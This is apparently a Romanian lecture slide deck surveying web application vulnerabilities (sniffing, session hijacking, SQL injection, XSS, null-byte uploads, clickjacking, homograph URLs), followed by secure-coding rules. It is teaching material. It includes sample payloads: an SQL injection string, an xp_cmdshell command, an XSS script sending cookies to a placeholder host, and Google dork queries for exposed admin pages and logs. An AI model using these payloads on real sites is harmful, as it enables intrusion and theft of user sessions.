A short survey on most common vulnerabilities of Web applications.

1. vulnerabilitatile
aplicatiilor web
Dr. Sabin Buraga
www.purl.org/net/busaco
@busaco

2. “Ceea ce se vede pe un obiect
este alt obiect ascuns.”
René Magritte

3. ce inseamna securitatea datelor?

4. securitatea este procesul de mentinere
a unui nivel acceptabil de risc perceptibil

5. security is a process, not an end state
Mitch Kabay

6. securitatea datelor
confidentialitatea
autentificarea
autorizarea
integritatea
nerepudierea
intimitatea (privacy)
disponibilitatea

7. confidentialitatea
imposibilitatea unei terte entitati sa aiba acces
la datele vehiculate intre doi receptori

8. autentificarea
presupune verificarea identitatii utilizatorului

9. autentificarea
presupune verificarea identitatii utilizatorului
uzual, pe baza de nume + parola

10. autorizarea
specifica actiunile (rolurile) pe care un utilizator
le poate realiza intr-un anumit context

11. autorizarea
asociata autentificarii

12. integritatea
implica detectarea incercarilor de modificare
neautorizata a datelor transmise

13. nerepudierea
asigura ca expeditorul unui mesaj nu poate afirma
ca nu l-a trimis

14. disponibilitatea
o anumita resursa este necesar sa poata fi accesata
la momentul oportun

15. intimitatea
vizeaza drepturile ce trebuie respectate
privind caracterul (subiectul) datelor vehiculate

16. intimitatea
confundata, deseori, cu confidentialitatea

17. securitatea web
trebuie sa ia in consideratie
clientul
interactiunea cu utilizatorul
datele personale stocate:
cookie-uri, date off-line, cache etc.
transferurile asincrone
via Ajax/Comet
existenta plugin-urilor si/sau
extensiilor suspecte
…

18. securitatea web
trebuie sa ia in consideratie
datele in tranzit
securitatea retelei
schimbul sigur de mesaje intre diverse entitati
ne-repudierea datelor
…

19. securitatea web
trebuie sa ia in consideratie
serverul
securitatea serverului/serverelor Web
securitatea aplicatiilor
disponibilitatea serviciilor

20. securitatea web
trebuie sa ia in consideratie
clientul
datele in tranzit
serverul

21. securitatea web
trebuie sa ia in consideratie
clientul
datele in tranzit
serverul
atacurile pot viza oricare din cele 3 aspecte!

22. vulnerabilitati
slabiciuni ale unui sistem
hardware/software ce permit
utilizatorilor neautorizati
sa aiba acces asupra lui

23. vulnerabilitati
slabiciuni ale unui sistem
hardware/software ce permit
utilizatorilor neautorizati
sa aiba acces asupra lui
pot aparea si datorita
proastei administrari

24. nici un sistem nu este 100% sigur

25. modus operandi
1examinarea mediului
identificarea serviciilor publice
descoperirea
tipurilor + versiunilor aplicatiilor
generarea de erori &
examinarea mesajelor obtinute
gasirea de informatii sensibile:
cod-sursa, comentarii,
cimpuri ascunse ale formularelor,…

26. modus operandi
2stabilirea tintei atacului
mecanismul de autentificare (login)
cimpurile de intrare ale formularelor web
managementul sesiunilor
infrastructura folosita:
serverele de stocare a datelor,
serviciile aditionale – e.g., proxy,…

27. care sunt cele mai uzuale tipuri de atacuri?

28. la nivel de HTTP
analizarea pachetelor de date (network sniffing)
functioneaza pentru fluxuri de date
HTTP necriptate

29. Wireshark – consultarea datelor transmise in retea

30. la nivel de HTTP
analizarea pachetelor de date (network sniffing)
solutie de prevenire:
HTTPS
folosirea HTTP peste (W)TLS
(Wireless) Transport Layer Security

31. la nivel de HTTP
deturnarea sesiunilor (session hijacking)
atacatorul determina SID-ul utilizatorului
si il foloseste in scop propriu

32. la nivel de HTTP
deturnarea sesiunilor (session hijacking)
analizarea campului Referer
dintr-un mesaj de cerere HTTP
Referer:
https://www.ebank.info/view/account?id=98755
&jsessid=BAC13606AC22B81E5137F45F95EE7573

33. la nivel de HTTP
deturnarea sesiunilor (session hijacking)
solutii de prevenire:
eliminarea SID-ului din URL
stocarea SID-ului in campul User-Agent
utilizarea unui SID variabil

34. SQL injection
scrierea unor interogari SQL care permit afisarea,
alterarea, stergerea de date din baze de date
via formulare web ori direct, folosind URL-uri

35. SQL injection
select * from customers
where name=$name and pass=$pass
$name preluat din formular,
cu valoarea '' or 1=1 --

36. SQL injection
http://e-bankk.org/clients.php?client=3
in programul PHP exista:
select credit_card from clients
where client=$client

37. SQL injection
http://e-bankk.org/clients.php?client=3
in programul PHP exista:
select credit_card from clients
where client=$client
ce se intimpla daca URI-ul este
http://e-bankk.org/clients.php?client=client ?

38. SQL injection
variatie:
crearea de interogari SQL incorecte
pentru obtinerea de mesaje de eroare “interesante”

39. SQL injection
http://www.phunds.biz/search?id=1+OR+gh=1

40. SQL injection
http://www.phunds.biz/search?id=1+OR+gh=1
atacatorul poate obtine un mesaj precum:
[Microsoft][ODBC SQL Server Driver] [SQL Server]
Invalid column name ’gh’.
SELECT group_id, securityName, maxSalesCharge, price,
security_id, trade_date FROM funds
WHERE group_id = 1 OR gh=1 ORDER BY price DESC

41. SQL injection
solutii de prevenire:
neutralizarea meta-caracterelor SQL
prepared statements
utilizarea de framework-uri ORM
(Object-Relational Mapping)
recurgerea la proceduri stocate
…

42. SQL injection
incorect
$sql = "select * from users
where user = '" . $user . "'";
corect
$rezultat = db_query ("select * from users
where user = ?", $user);

43. SQL injection + command injection
utilizarea SQL pentru executia de comenzi
la nivel de shell
din cadrul serverului de baze de date

44. SQL injection + command injection
SELECT * FROM users WHERE name = 'tuxy' AND
pass = ' '; xp_cmdshell 'taskkill /F /IM
sqlservr.exe' --'

45. poisonous null-byte attack
folosirea caracterului NULL
pentru plasarea de script-uri pe server
ce ulterior pot fi executate

46. poisonous null-byte attack
atacatorul realizeaza upload-ul
unei “imagini” – img.php%00.jpg
“Thank you! See your picture at img.php”

47. XSS: cross-site scripting
“injectarea”, pentru executia direct
in navigatorul web, de cod JavaScript

48. XSS: cross-site scripting
a se vizita si http://ha.ckers.org/xss.html
pentru exemple reale,
a se consulta http://xssed.com/

49. XSS: cross-site scripting
functioneaza mai ales in cadrul
siturilor web interactive:
forumuri, blog-uri, wiki-uri,…

50. XSS: cross-site scripting
poate conduce si
la furtul identitatii (phishing)
sau la plasarea de cod malware la client:
CSRF – Cross-Site Request Forgery
in contextul mash-up-urilor, mai ales

51. XSS: cross-site scripting
<img src="javascript:cod" />
un atacator poate redirectiona utilizatorul
spre alt sit, poate preia valori de cookie-uri
ori poate bloca navigatorul web

52. XSS: cross-site scripting
<script type="text/javascript">
document.location.replace (
"http://phurt-uri.org/furt.php"
+ "?c=" + document.cookie);
</script>
furtul de cookie-uri (hijacking cookies)

53. clickjacking
folosirea de cod JavaScript pentru
a modifica textul redat de navigatorul web
utilizatorului sau pentru a manipula
utilizatorul sa viziteze legaturi ascunse
http://jeremiahgrossman.blogspot.com/2008/09/
cancelled-clickjacking-owasp-appsec.html

54. tabnabbing
recurgerea la cod JavaScript pentru a genera
intr-un tab al navigatorului o replica
a unui formular de autentificare
la un serviciu notoriu – e.g., Facebook, GMail
http://www.azarask.in/blog/post/
a-new-type-of-phishing-attack/

55. exemplu real
pe baza unei vulnerabilitati XSS in filtrul HTML
al MySpace, atunci cind un utilizator vizualiza
profilul lui Tuxy, codul JavaScript il facea automat
prieten al lui Tuxy + recurgea la Ajax pentru
a insera script-ul malefic in profilul curent
social network worm
dupa 20 de ore, 1005831 cereri
MySpace s-a “prabusit”

56. exemplu real
Google UTF-7 hole
paginile 404 oferite de Google nu specificau
codul de caractere utilizat
atacurile XSS codificate ca UTF-7 puteau fi accesate
si executate in cadrul Internet Explorer
http://shiflett.org/blog/2005/dec/googles-xss-vulnerability

57. probleme cauzate de URI/IRI-uri
inducerea in eroare a utilizatorului
exemplu:
http://www.google.com@63.241.3.69/

58. probleme cauzate de URI/IRI-uri
codificarea defectuoasa
a codurilor hexa
vulnerabilitati la unele servere web

59. probleme cauzate de URI/IRI-uri
siturile avind domenii internationale
(IDN – International Domain Names)
atacuri bazate pe homografie
adobe.com ≠ adobe.com

60. troienii web
situri/aplicatii web aparent folositoare,
la care utilizatorul poate ajunge eventual
via redirectare automata

61. troienii web
extensii sau plug-in-uri care includ cod malitios

62. troienii web
suplimentar, pot recurge la XSS/CSRF
sau la tehnici de tip social engineering

63. detectarea posibilelor vulnerabilitati
– datorate unor configuratii incorecte ori
implicite ale serverelor si/sau aplicatiilor web –
se poate realiza apeland la un motor de cautare

64. detectia versiunilor de software
cu bug-uri cunoscute
"Apache/2.0.52 server at"
accesul la fisiere .bak
inurl:index.php.bak
detectarea paginilor de administrare
"admin login "
gasirea unor instalari implicite
intitle:"welcome to" intitle:internet IIS

65. localizarea interfetelor spre sistemele
de baze de date
inurl:main.php phpMyAdmin
cautarea de aplicatii instalate ori
a fisierelor de jurnalizare
inurl:error.log +filetype:log –cvs
cautarea unor mesaje de eroare generate
de aplicatii ori de servere de baze de date
"ASP.NET_SessionId" "data source="

66. vezi si proiectul “Google Hack” Honeypot
http://ghh.sourceforge.net/

67. securitatea unei aplicatii web
trebuie sa ia in consideratie
arhitectura,
logica (functionalitatea),
codul-sursa si
continutul
in ansamblu

68. securitatea unei aplicatii web
nu vizeaza vulnerabilitatile sistemului de operare
ori ale programelor auxiliare

69. tipuri de vulnerabilitati web tipice
probleme de autentificare
managementul sesiunilor
injectarea de script-uri (XSS)
ori comenzi SQL

70. tipuri de vulnerabilitati web tipice
expunerea – involuntara – a informatiilor
“delicate” (information disclosure)
accesul la codul-sursa ori
la fisierele de configurare a aplicatiei web
managementul incorect
al configuratiei aplicatiei

71. reguli/bune practici (Sverre Huseby, 2004)
do not underestimate the power of the dark side

72. reguli/bune practici (Sverre Huseby, 2004)
use POST requests when actions have side effects

73. reguli/bune practici (Sverre Huseby, 2004)
in a server-side context,
there is no such thing as client-side security

74. reguli/bune practici (Sverre Huseby, 2004)
always generate a new session ID
once the user logs in

75. reguli/bune practici (Sverre Huseby, 2004)
never pass detailed error messages to the client

76. reguli/bune practici (Sverre Huseby, 2004)
identify every possible meta-character
to a subsystem

77. reguli/bune practici (Sverre Huseby, 2004)
when possible,
pass data separate from control information

78. reguli/bune practici (Sverre Huseby, 2004)
do not blindly trust the API documentation

79. reguli/bune practici (Sverre Huseby, 2004)
identify all sources of input to the application

80. reguli/bune practici (Sverre Huseby, 2004)
when filtering data,
use white-listing rather than black-listing

81. reguli/bune practici (Sverre Huseby, 2004)
create application-level logs

82. reguli/bune practici (Sverre Huseby, 2004)
never use client-side scripts for security

83. reguli/bune practici (Sverre Huseby, 2004)
pass as little internal state information as possible
to the client

84. reguli/bune practici (Sverre Huseby, 2004)
don’t assume that requests will come
in a certain order

85. reguli/bune practici (Sverre Huseby, 2004)
filter all data before including them in a web page,
no matter what the origin

86. reguli/bune practici (Sverre Huseby, 2004)
stick to existing cryptographic algorithms,
do not create your own

87. reguli/bune practici (Sverre Huseby, 2004)
never store clear-text passwords

88. reguli/bune practici (Sverre Huseby, 2004)
assume that server-side code is available
to attackers

89. reguli/bune practici (Sverre Huseby, 2004)
security is not a product; it is a process

90. http://planet-websecurity.org/feed/
http://www.owasp.org/
http://simonwillison.net/tags/security/